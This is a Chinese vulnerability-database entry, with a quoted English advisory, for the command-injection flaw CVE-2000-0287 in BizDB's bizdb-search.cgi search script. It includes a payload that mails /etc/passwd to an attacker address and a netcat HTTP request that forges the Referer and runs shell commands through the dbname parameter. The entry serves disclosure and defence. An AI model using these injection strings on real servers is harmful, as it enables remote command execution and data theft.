BizDB bizdb-search.cgi搜索引擎CGI导致用户远程执行shell命令

BizDB bizdb-search.cgi搜索引擎CGI导致用户远程执行shell命令

漏洞ID 1105781 漏洞类型 未知
发布时间 2000-04-13 更新时间 2005-05-02
图片[1]-BizDB bizdb-search.cgi搜索引擎CGI导致用户远程执行shell命令-安全小百科CVE编号 CVE-2000-0287
图片[2]-BizDB bizdb-search.cgi搜索引擎CGI导致用户远程执行shell命令-安全小百科CNNVD-ID CNNVD-200004-030
漏洞平台 CGI CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/19844
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200004-030
|漏洞详情
BizDB是Cnctek开发的数据库以及搜索引擎软件。BizDB安装程序中包含一个CGI脚本:bizdb-search.cgi,它被用来搜索bizdb数据库。攻击者可以通过修改CGI参数使bizdb-search.cgi在Web服务器上执行shell命令。bizdb-search.cgi使用”open”命令来打开数据库文件,该文件名是由”dbname”变量接收用户输入的。它并没有对输入数据进行检查。攻击者可以用带有管道符的shell命令替换掉正常的数据库文件名:”bizdb”,例如:”;cat%20/etc/passwd|mail%[email protected]|”这样,/etc/passwd文件的内容就会被发送到攻击者的邮箱中去。这个脚本会检查是否HTTP_REFERER变量是否被正确设置,但是这个变量是很容易被伪造的,因此并不能真正阻止攻击的发生。
|漏洞EXP
source: http://www.securityfocus.com/bid/1104/info

BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, passes a variable's contents to an unchecked open() call and can therefore be made to execute commands at the privilege level of the webserver.

The variable is dbname, and if passed a semicolon followed by shell commands they will be executed. This cannot be exploited from a browser, as the software checks for a referrer field in the HTTP request. A valid referrer field can however be created and sent programmatically or via a network utility like netcat. 


The following netcat session will cause a copy of the output of the ls command to be mailed to attacker@attacker-host

netcat target 80
GET
/cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)
|参考资料

来源:BID
名称:1104
链接:http://www.securityfocus.com/bid/1104
来源:BUGTRAQ
名称:20000412BizDBSearchScriptEnablesShellCommandExecutionattheServer
链接:http://archives.neohapsis.com/archives/bugtraq/2000-04/0058.html
来源:NSFOCUS
名称:433
链接:http://www.nsfocus.net/vulndb/433

相关推荐: iHTML Merchant Feedback Form Security Vulnerability

iHTML Merchant Feedback Form Security Vulnerability 漏洞ID 1104556 漏洞类型 Input Validation Error 发布时间 1999-09-28 更新时间 1999-09-28 CVE编号…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享